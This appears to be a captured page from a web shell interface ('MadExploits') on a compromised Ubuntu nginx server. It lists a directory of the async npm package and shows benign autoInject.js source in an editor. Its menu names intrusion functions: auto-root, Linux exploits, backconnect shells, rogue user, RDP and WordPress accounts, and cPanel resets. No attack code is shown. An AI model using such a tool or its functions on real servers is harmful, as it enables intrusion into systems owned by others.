Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
async /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
dr-xr-xr-x
internal
[ DIR ]
dr-xr-xr-x
CHANGELOG.md
32.7
KB
-rw-rw-rw-
LICENSE
1.04
KB
-rw-rw-rw-
README.md
3.14
KB
-rw-rw-rw-
all.js
3.48
KB
-rw-rw-rw-
allLimit.js
1.71
KB
-rw-rw-rw-
allSeries.js
1.61
KB
-rw-rw-rw-
any.js
3.71
KB
-rw-rw-rw-
anyLimit.js
1.74
KB
-rw-rw-rw-
anySeries.js
1.64
KB
-rw-rw-rw-
apply.js
217
B
-rw-rw-rw-
applyEach.js
1.94
KB
-rw-rw-rw-
applyEachSeries.js
1.27
KB
-rw-rw-rw-
asyncify.js
3.67
KB
-rw-rw-rw-
auto.js
11.58
KB
-rw-rw-rw-
autoInject.js
6.93
KB
-rw-rw-rw-
bower.json
239
B
-rw-rw-rw-
cargo.js
2.68
KB
-rw-rw-rw-
cargoQueue.js
3.27
KB
-rw-rw-rw-
compose.js
1.53
KB
-rw-rw-rw-
concat.js
3.57
KB
-rw-rw-rw-
concatLimit.js
2.04
KB
-rw-rw-rw-
concatSeries.js
1.44
KB
-rw-rw-rw-
constant.js
302
B
-rw-rw-rw-
detect.js
3.17
KB
-rw-rw-rw-
detectLimit.js
1.79
KB
-rw-rw-rw-
detectSeries.js
1.7
KB
-rw-rw-rw-
dir.js
1.27
KB
-rw-rw-rw-
doDuring.js
2.25
KB
-rw-rw-rw-
doUntil.js
1.66
KB
-rw-rw-rw-
doWhilst.js
2.25
KB
-rw-rw-rw-
during.js
2.28
KB
-rw-rw-rw-
each.js
3.93
KB
-rw-rw-rw-
eachLimit.js
1.75
KB
-rw-rw-rw-
eachOf.js
5.61
KB
-rw-rw-rw-
eachOfLimit.js
1.6
KB
-rw-rw-rw-
eachOfSeries.js
1.3
KB
-rw-rw-rw-
eachSeries.js
1.54
KB
-rw-rw-rw-
ensureAsync.js
2.26
KB
-rw-rw-rw-
every.js
3.48
KB
-rw-rw-rw-
everyLimit.js
1.71
KB
-rw-rw-rw-
everySeries.js
1.61
KB
-rw-rw-rw-
filter.js
2.83
KB
-rw-rw-rw-
filterLimit.js
1.62
KB
-rw-rw-rw-
filterSeries.js
1.51
KB
-rw-rw-rw-
find.js
3.17
KB
-rw-rw-rw-
findLimit.js
1.79
KB
-rw-rw-rw-
findSeries.js
1.7
KB
-rw-rw-rw-
flatMap.js
3.57
KB
-rw-rw-rw-
flatMapLimit.js
2.04
KB
-rw-rw-rw-
flatMapSeries.js
1.44
KB
-rw-rw-rw-
foldl.js
4.76
KB
-rw-rw-rw-
foldr.js
1.47
KB
-rw-rw-rw-
forEach.js
3.93
KB
-rw-rw-rw-
forEachLimit.js
1.75
KB
-rw-rw-rw-
forEachOf.js
5.61
KB
-rw-rw-rw-
forEachOfLimit.js
1.6
KB
-rw-rw-rw-
forEachOfSeries.js
1.3
KB
-rw-rw-rw-
forEachSeries.js
1.54
KB
-rw-rw-rw-
forever.js
2.07
KB
-rw-rw-rw-
groupBy.js
3.51
KB
-rw-rw-rw-
groupByLimit.js
2.39
KB
-rw-rw-rw-
groupBySeries.js
1.3
KB
-rw-rw-rw-
index.js
19.47
KB
-rw-rw-rw-
inject.js
4.76
KB
-rw-rw-rw-
log.js
1.17
KB
-rw-rw-rw-
map.js
4.49
KB
-rw-rw-rw-
mapLimit.js
1.58
KB
-rw-rw-rw-
mapSeries.js
1.48
KB
-rw-rw-rw-
mapValues.js
4.48
KB
-rw-rw-rw-
mapValuesLimit.js
2.07
KB
-rw-rw-rw-
mapValuesSeries.js
1.35
KB
-rw-rw-rw-
memoize.js
3
KB
-rw-rw-rw-
nextTick.js
1.44
KB
-rw-rw-rw-
package.json
2.15
KB
-rw-rw-rw-
parallel.js
5.44
KB
-rw-rw-rw-
parallelLimit.js
1.48
KB
-rw-rw-rw-
priorityQueue.js
1.41
KB
-rw-rw-rw-
queue.js
626
B
-rw-rw-rw-
race.js
2.08
KB
-rw-rw-rw-
reduce.js
4.76
KB
-rw-rw-rw-
reduceRight.js
1.47
KB
-rw-rw-rw-
reflect.js
2.21
KB
-rw-rw-rw-
reflectAll.js
2.39
KB
-rw-rw-rw-
reject.js
2.61
KB
-rw-rw-rw-
rejectLimit.js
1.54
KB
-rw-rw-rw-
rejectSeries.js
1.44
KB
-rw-rw-rw-
retry.js
5.39
KB
-rw-rw-rw-
retryable.js
2.48
KB
-rw-rw-rw-
select.js
2.83
KB
-rw-rw-rw-
selectLimit.js
1.62
KB
-rw-rw-rw-
selectSeries.js
1.51
KB
-rw-rw-rw-
seq.js
2.59
KB
-rw-rw-rw-
series.js
5.69
KB
-rw-rw-rw-
setImmediate.js
1.36
KB
-rw-rw-rw-
some.js
3.71
KB
-rw-rw-rw-
someLimit.js
1.74
KB
-rw-rw-rw-
someSeries.js
1.64
KB
-rw-rw-rw-
sortBy.js
6.06
KB
-rw-rw-rw-
timeout.js
2.69
KB
-rw-rw-rw-
times.js
1.45
KB
-rw-rw-rw-
timesLimit.js
1.42
KB
-rw-rw-rw-
timesSeries.js
1.04
KB
-rw-rw-rw-
transform.js
5.43
KB
-rw-rw-rw-
tryEach.js
2.48
KB
-rw-rw-rw-
unmemoize.js
665
B
-rw-rw-rw-
until.js
2.03
KB
-rw-rw-rw-
waterfall.js
3.13
KB
-rw-rw-rw-
whilst.js
2.28
KB
-rw-rw-rw-
wrapSync.js
3.67
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : autoInject.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = autoInject; var _auto = require('./auto.js'); var _auto2 = _interopRequireDefault(_auto); var _wrapAsync = require('./internal/wrapAsync.js'); var _wrapAsync2 = _interopRequireDefault(_wrapAsync); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var FN_ARGS = /^(?:async\s)?(?:function)?\s*(?:\w+\s*)?\(([^)]+)\)(?:\s*{)/; var ARROW_FN_ARGS = /^(?:async\s)?\s*(?:\(\s*)?((?:[^)=\s]\s*)*)(?:\)\s*)?=>/; var FN_ARG_SPLIT = /,/; var FN_ARG = /(=.+)?(\s*)$/; function stripComments(string) { let stripped = ''; let index = 0; let endBlockComment = string.indexOf('*/'); while (index < string.length) { if (string[index] === '/' && string[index + 1] === '/') { // inline comment let endIndex = string.indexOf('\n', index); index = endIndex === -1 ? string.length : endIndex; } else if (endBlockComment !== -1 && string[index] === '/' && string[index + 1] === '*') { // block comment let endIndex = string.indexOf('*/', index); if (endIndex !== -1) { index = endIndex + 2; endBlockComment = string.indexOf('*/', index); } else { stripped += string[index]; index++; } } else { stripped += string[index]; index++; } } return stripped; } function parseParams(func) { const src = stripComments(func.toString()); let match = src.match(FN_ARGS); if (!match) { match = src.match(ARROW_FN_ARGS); } if (!match) throw new Error('could not parse args in autoInject\nSource:\n' + src); let [, args] = match; return args.replace(/\s/g, '').split(FN_ARG_SPLIT).map(arg => arg.replace(FN_ARG, '').trim()); } /** * A dependency-injected version of the [async.auto]{@link module:ControlFlow.auto} function. Dependent * tasks are specified as parameters to the function, after the usual callback * parameter, with the parameter names matching the names of the tasks it * depends on. This can provide even more readable task graphs which can be * easier to maintain. * * If a final callback is specified, the task results are similarly injected, * specified as named parameters after the initial error parameter. * * The autoInject function is purely syntactic sugar and its semantics are * otherwise equivalent to [async.auto]{@link module:ControlFlow.auto}. * * @name autoInject * @static * @memberOf module:ControlFlow * @method * @see [async.auto]{@link module:ControlFlow.auto} * @category Control Flow * @param {Object} tasks - An object, each of whose properties is an {@link AsyncFunction} of * the form 'func([dependencies...], callback). The object's key of a property * serves as the name of the task defined by that property, i.e. can be used * when specifying requirements for other tasks. * * The `callback` parameter is a `callback(err, result)` which must be called * when finished, passing an `error` (which can be `null`) and the result of * the function's execution. The remaining parameters name other tasks on * which the task is dependent, and the results from those tasks are the * arguments of those parameters. * @param {Function} [callback] - An optional callback which is called when all * the tasks have been completed. It receives the `err` argument if any `tasks` * pass an error to their callback, and a `results` object with any completed * task results, similar to `auto`. * @returns {Promise} a promise, if no callback is passed * @example * * // The example from `auto` can be rewritten as follows: * async.autoInject({ * get_data: function(callback) { * // async code to get some data * callback(null, 'data', 'converted to array'); * }, * make_folder: function(callback) { * // async code to create a directory to store a file in * // this is run at the same time as getting the data * callback(null, 'folder'); * }, * write_file: function(get_data, make_folder, callback) { * // once there is some data and the directory exists, * // write the data to a file in the directory * callback(null, 'filename'); * }, * email_link: function(write_file, callback) { * // once the file is written let's email a link to it... * // write_file contains the filename returned by write_file. * callback(null, {'file':write_file, 'email':'user@example.com'}); * } * }, function(err, results) { * console.log('err = ', err); * console.log('email_link = ', results.email_link); * }); * * // If you are using a JS minifier that mangles parameter names, `autoInject` * // will not work with plain functions, since the parameter names will be * // collapsed to a single letter identifier. To work around this, you can * // explicitly specify the names of the parameters your task function needs * // in an array, similar to Angular.js dependency injection. * * // This still has an advantage over plain `auto`, since the results a task * // depends on are still spread into arguments. * async.autoInject({ * //... * write_file: ['get_data', 'make_folder', function(get_data, make_folder, callback) { * callback(null, 'filename'); * }], * email_link: ['write_file', function(write_file, callback) { * callback(null, {'file':write_file, 'email':'user@example.com'}); * }] * //... * }, function(err, results) { * console.log('err = ', err); * console.log('email_link = ', results.email_link); * }); */ function autoInject(tasks, callback) { var newTasks = {}; Object.keys(tasks).forEach(key => { var taskFn = tasks[key]; var params; var fnIsAsync = (0, _wrapAsync.isAsync)(taskFn); var hasNoDeps = !fnIsAsync && taskFn.length === 1 || fnIsAsync && taskFn.length === 0; if (Array.isArray(taskFn)) { params = [...taskFn]; taskFn = params.pop(); newTasks[key] = params.concat(params.length > 0 ? newTask : taskFn); } else if (hasNoDeps) { // no dependencies, use the function as-is newTasks[key] = taskFn; } else { params = parseParams(taskFn); if (taskFn.length === 0 && !fnIsAsync && params.length === 0) { throw new Error("autoInject task functions require explicit parameters."); } // remove callback param if (!fnIsAsync) params.pop(); newTasks[key] = params.concat(newTask); } function newTask(results, taskCb) { var newArgs = params.map(name => results[name]); newArgs.push(taskCb); (0, _wrapAsync2.default)(taskFn)(...newArgs); } }); return (0, _auto2.default)(newTasks, callback); } module.exports = exports.default;
Close